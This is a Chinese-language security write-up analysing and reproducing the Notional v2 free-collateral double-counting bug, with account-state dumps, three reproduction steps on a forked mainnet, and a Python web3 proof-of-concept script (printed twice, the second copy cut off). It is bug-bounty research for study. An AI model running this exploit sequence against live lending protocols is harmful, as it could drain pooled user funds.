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[原创]Notional Double Counting Free Collateral 分析和复现
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发表于: 2022-2-28 12:16
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Notional 简单说来就是一个固定周期，固定利率的借贷池，主要支持Borrow,lend以及Provide Liquidity的功能。在notional v2中有一个free collateral的概念，根据你的free collateral的计算的值可以借贷出相应价值的代币，而这个漏洞就是在free collateral的计算上出现了问题，导致可以双重计数，从而能够以较低的抵押贷出比抵押价值要多的代币出来，利用该漏洞可以掏空整个LP中的所有资金。
漏洞类型：逻辑
难度：中等
赏金：100万刀
1. 通过分析复现，发现本次漏洞的成因非常简单，就是在用户账户关键参数的读写上存在逻辑问题，导致能够双重计数。废话不多说，顺着调用链分析，首先是调用了enableBitmapCurrency() 来将用户的accountContext.bitmapCurrencyId = currencyId;设置为currencyId。
先看看调用前getAccount()的值：（getAccount()返回的是一个数据结构体，可以跟进分析数据结构）
[(0, b'\x00', 0, 0, b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'), [(0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0)], []]
接下来调用enableBitmapCurrency(1)，将currencyId =1 的代币设置为bitmapCurrencyId后：
[(1641427200, b'\x00', 0, 1, b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'), [(1, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0)], []]
此处可以看到，accountContext.bitmapCurrencyId 已经被设置成了1，且再次调用getAccount()，可以通过代码知道accountBalances[0]的值已经被赋值，因为此处我们只enable了bitmap，没有deposit任何代币，所以此处accountBalances[0]为(1, 0, 0, 0, 0)是没有任何问题的。
2.此时在进行第二步操作，利用depositUnderlyingToken()向我们个人地址中deposit代币，此处用DAI作为例子，DAI的currencyId为2，这个可以直接通过代理合约调用接口查看。
[(1641427200, b'\x00', 0, 1, b'@\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'), [(1, 0, 0, 0, 0), (2, 18344299339310, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0)], []]
在充值完成后，查看账户信息，发现
accountContext.activeCurrencies被赋值b'400200000000000000000000000000000000'
accountBalances[1]被赋值为了(2, 18344299339310, 0, 0, 0)
accountContext.activeCurrencies变量的修改，来自于depositUnderlyingToken中的 balanceState.finalize(account, accountContext, false);可以跟进看看
在.finalize(account, accountContext, false);中accountContext.setActiveCurrency会将 accountContext.activeCurrencies修改。但这不是重点。
此处查看getAccount()方法，如果accountContext.activeCurrencies存在的话，会去从存储中读取该代币的值，accountBalances = new AccountBalance[](10); accountBalances是一个长度为10数组，如果开始不是很清楚的话为啥是10的话，这个地方就能非常明白，在开启bitmapcurrency第一个数组是用来放账户中ETH的balance数据的，后面的9个数组是用来放其中支持的9种代币的balance数据的，bytes18即每2个字节代表一个代币。
到此，程序都是正常运行的，我们enable了currencyId == 1 的ETH，但是没有充值，所以ETH的balance数据为(1, 0, 0, 0, 0)，第二步我们充值了DAI，所以DAI的balance为(2, 18344299339310, 0, 0, 0)，这些都没有问题。
3.接下来进行第三步，再次enableBitmapCurrency()，此时将DAI的currencyId 作为参数。执行完成后，查看Account。此时发现accountBalances的前两个数组的值变成一样了，也就是说ETH所在的balance被DAI的balance覆盖了。
[(1641427200, b'\x00', 0, 2, b'@\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'), [(2, 18344299339310, 0, 0, 0), (2, 18344299339310, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0), (0, 0, 0, 0, 0)], []]
同时查看：free_collateral: [212752332, [18344299339310, 18344299339310, 0, 0, 0, 0, 0, 0, 0, 0]],发现价值翻倍了。
再来看看getAccount()中设置ETH balance的代码，如果accountContext.isBitmapEnabled()，则会以bitmapCurrencyId所代表的代币balance来赋值到accountBalances[0]。OK，问题就在这里，也就是说通过修改bitmapCurrencyId的值能覆盖ETH所代表的balance位的值，实现double couting。
对于漏洞的复现，其实步骤很简单。
源码：https://github.com/notional-finance/contracts-v2
npx hardhat node --fork https://eth-mainnet.alchemyapi.io/v2/your_key --fork-block-number 13950000
enableBitmapCurrency(1) //启用bitmap,将ETH设置为bitmapCurrency
depositUnderlyingToken(useraddr,2,amount) //充值DAI
此处如果没有DAI，需要先到swap购买DAI，然后approve notional的代理合约地址。
enableBitmapCurrency(2) //启用bitmap,将DAI设置为bitmapCurrency
此3步就能完全复现漏洞。
具体的POC，我是直接用python web3调用的，也可以自己构造或者用contract实现。
这是我临时用的py 测试脚本，可以参考。
from web3 import Web3
from Constant import Abi
import binascii
class Poc:
def __init__(self):
self.web3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
#self.web3 = Web3(Web3.HTTPProvider("https://mainnet.infura.io/v3/yourkey"))
self.NationalAbi = Abi.NationalAbi
#self.addr = '0xdE14D5F07456c86F070C108A04Ae2fafdbD2A939'
self.addr = "0x1344A36A1B56144C3Bc62E7757377D288fDE0369"
self.uni_router = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"
self.cdai_address = "0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643"
self.dai_address = "0x6B175474E89094C44Da98b954EedeAC495271d0F"
self.uniswap_router_abi = Abi.UniswapRouter2
self.cdai_abi = Abi.CDaiAbi
self.dai_abi = Abi.DaiAbi
self.contract = self.web3.eth.contract(address=self.addr, abi=self.NationalAbi)
self.uniswapRouter =self.web3.eth.contract(address=self.uni_router,abi=self.uniswap_router_abi)
self.cdai_token = self.web3.eth.contract(address=self.cdai_address,abi=self.cdai_abi)
self.dai_token = self.web3.eth.contract(address=self.dai_address,abi=self.dai_abi)
self.privatekey = "your privatekey"
self.account = self.web3.eth.account.from_key(self.privatekey)
self.txParams = {
'chainId': 31337, #hardhat chianid
'nonce': self.web3.eth.getTransactionCount(self.account.address),
'gas': 2000000,
'from': self.account.address,
# 'value': Web3.toWei(0, 'ether'),
'gasPrice': self.web3.eth.gasPrice,
}
def get_free_collateral(self, address):
'''
获取
:param address:
:return:
'''
result = self.contract.functions.getFreeCollateral(address).call()
print(result)
def enable_bitmapCurrency(self, currencyid):
'''
开启bitmapCurrency
:return:
'''
tx = self.contract.functions.enableBitmapCurrency(currencyid).buildTransaction(self.txParams)
signed_txn = self.web3.eth.account.signTransaction(tx, private_key=self.privatekey) # 账号交易签名
res = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction).hex() # 发送原始签名
print(res)
txn_receipt = self.web3.eth.wait_for_transaction_receipt(res) # 接受交易结果，并返回交易结果
print(txn_receipt)
return txn_receipt
# signed = self.account.signTransaction(tx) # 用账户对交易签名
# tx_id = self.web3.eth.sendRawTransaction(signed.rawTransaction) # 交易发送并获取交易id
# tx_hash = self.contract.functions.enableBitmapCurrency(currencyid).transact()
# result = self.web3.eth.wait_for_transaction_receipt(tx_hash)
# print(result)
def swap_eth_for_exact_tokens(self,amountout,ethnum,path,to,deadline):
'''
兑换Token
:return:
'''
self.txParams.update({"value":Web3.toWei(ethnum, "ether")})
tx = self.uniswapRouter.functions.swapETHForExactTokens(amountout, path, to, deadline).buildTransaction(self.txParams)
result = self.sign_and_sendtx(tx)
print(result)
# signed_txn = self.web3.eth.account.signTransaction(tx, private_key=self.privatekey) # 账号交易签名
# res = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction).hex() # 发送原始签名
# print(res)
# txn_receipt = self.web3.eth.wait_for_transaction_receipt(res) # 接受交易结果，并返回交易结果
# print(txn_receipt)
def sign_and_sendtx(self,tx):
'''
验签和的发送交易
:param tx:
:return:
'''
signed_txn = self.web3.eth.account.signTransaction(tx, private_key=self.privatekey) # 账号交易签名
res = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction).hex() # 发送原始签名
txn_receipt = self.web3.eth.wait_for_transaction_receipt(res) # 接受交易结果，并返回交易结果
return txn_receipt
def get_all_functions(self,addr,abi):
'''
获取所有方法
:return:
'''
funcs = self.web3.eth.contract(address=addr, abi=abi)
for func in funcs.all_functions():
print(func)
def get_account_context(self, address):
'''
获取账户上下文
:param address:
:return:
'''
result = self.contract.functions.getAccountContext(address).call()
print(result)
print("nextSettleTime:"+str(result[0]))
print("hasDebt:" + str(binascii.b2a_hex(result[1])))
print("assetArrayLength:" + str(result[2]))
print("bitmapCurrencyId:" + str(result[3]))
print("activeCurrencies:" + str(binascii.b2a_hex(result[4])))
def get_currencyid(self, address):
result = self.contract.functions.getCurrencyId(address).call()
print(result)
def deposit_underlying_token(self,account,currencyId,amountExternalPrecision):
'''
充值
:param account:
:param currencyId:
:param amountExternalPrecision:
:return:
'''
self.txParams.update({"value": Web3.toWei(1, "ether")})
tx = self.contract.functions.depositUnderlyingToken(account, currencyId, amountExternalPrecision).buildTransaction(
self.txParams)
result = self.sign_and_sendtx(tx)
print(result)
def allowance_dai(self):
'''
:param address:
:return:
'''
result = self.cdai_token.functions.allowance(self.account.address,self.addr).call()
print(result)
def approve_cdai(self):
'''
:param address:
:return:
'''
tx = self.cdai_token.functions.approve(self.addr, 0xffffffff).buildTransaction(
self.txParams)
result = self.sign_and_sendtx(tx)
print(result)
def approve_dai(self):
# tx = self.dai_token.functions.approve(self.addr, 0xffffffff).buildTransaction(
# self.txParams)
# result = self.sign_and_sendtx(tx)
# print(result)
tx = self.dai_token.functions.approve(self.addr, 1000000000000000000000000000).buildTransaction(
self.txParams)
result = self.sign_and_sendtx(tx)
print(result)
def get_account(self,address):
'''
获取账户信息
:param address:
:return:
'''
result = self.contract.functions.getAccount(Web3.toChecksumAddress(address)).call()
print(result)
def start(self):
'''
start test
:return:
'''
cdai = "0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643" #8
ceth = "0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5"
# 兑换dai
# amountout = 4000 * 10 ** 18
# path = ["0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2","0x6B175474E89094C44Da98b954EedeAC495271d0F"]
# to = self.account.address
# deadline = 0xffffffff
# self.swap_eth_for_exact_tokens(amountout,2,path,to,deadline)
#self.get_free_collateral(self.account.address)
# 设置
#self.enable_bitmapCurrency(1)
# self.get_free_collateral(Web3.toChecksumAddress("0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"))
# self.get_account_context(Web3.toChecksumAddress("0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"))
# self.get_account("0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266")
#self.enable_bitmapCurrency(2)
#self.get_currencyid(Web3.toChecksumAddress("0x5d3a536e4d6dbd6114cc1ead35777bab948e3643"))
# self.get_currencyid(Web3.toChecksumAddress("0x6b175474e89094c44da98b954eedeac495271d0f"))
# self.approve_dai()
# self.approve_dai_cdai()
#self.deposit_underlying_token(self.account.address,160,1000000000000000000)
if __name__ == "__main__":
Poc().start()
from web3 import Web3
from Constant import Abi
import binascii
class Poc:
def __init__(self):
self.web3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
#self.web3 = Web3(Web3.HTTPProvider("https://mainnet.infura.io/v3/yourkey"))
self.NationalAbi = Abi.NationalAbi
#self.addr = '0xdE14D5F07456c86F070C108A04Ae2fafdbD2A939'
self.addr = "0x1344A36A1B56144C3Bc62E7757377D288fDE0369"
self.uni_router = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"
self.cdai_address = "0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643"
self.dai_address = "0x6B175474E89094C44Da98b954EedeAC495271d0F"
self.uniswap_router_abi = Abi.UniswapRouter2
self.cdai_abi = Abi.CDaiAbi
self.dai_abi = Abi.DaiAbi
self.contract = self.web3.eth.contract(address=self.addr, abi=self.NationalAbi)
self.uniswapRouter =self.web3.eth.contract(address=self.uni_router,abi=self.uniswap_router_abi)
self.cdai_token = self.web3.eth.contract(address=self.cdai_address,abi=self.cdai_abi)
self.dai_token = self.web3.eth.contract(address=self.dai_address,abi=self.dai_abi)
self.privatekey = "your privatekey"
self.account = self.web3.eth.account.from_key(self.privatekey)
self.txParams = {
'chainId': 31337, #hardhat chianid
'nonce': self.web3.eth.getTransactionCount(self.account.address),
'gas': 2000000,
'from': self.account.address,
# 'value': Web3.toWei(0, 'ether'),
'gasPrice': self.web3.eth.gasPrice,
}
def get_free_collateral(self, address):
'''
获取
:param address:
:return:
'''
result = self.contract.functions.getFreeCollateral(address).call()
print(result)
def enable_bitmapCurrency(self, currencyid):
'''
开启bitmapCurrency
:return:
'''
tx = self.contract.functions.enableBitmapCurrency(currencyid).buildTransaction(self.txParams)
signed_txn = self.web3.eth.account.signTransaction(tx, private_key=self.privatekey) # 账号交易签名
res = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction).hex() # 发送原始签名
print(res)
txn_receipt = self.web3.eth.wait_for_transaction_receipt(res) # 接受交易结果，并返回交易结果
print(txn_receipt)
return txn_receipt
# signed = self.account.signTransaction(tx) # 用账户对交易签名
# tx_id = self.web3.eth.sendRawTransaction(signed.rawTransaction) # 交易发送并获取交易id
# tx_hash = self.contract.functions.enableBitmapCurrency(currencyid).transact()
# result = self.web3.eth.wait_for_transaction_receipt(tx_hash)
# print(result)
def swap_eth_for_exact_tokens(self,amountout,ethnum,path,to,deadline):
'''
兑换Token
:return:
'''
self.txParams.update({"value":Web3.toWei(ethnum, "ether")})
tx = self.uniswapRouter.functions.swapETHForExactTokens(amountout, path, to, deadline).buildTransaction(self.txParams)
result = self.sign_and_sendtx(tx)
print(result)
# signed_txn = self.web3.eth.account.signTransaction(tx, private_key=self.privatekey) # 账号交易签名
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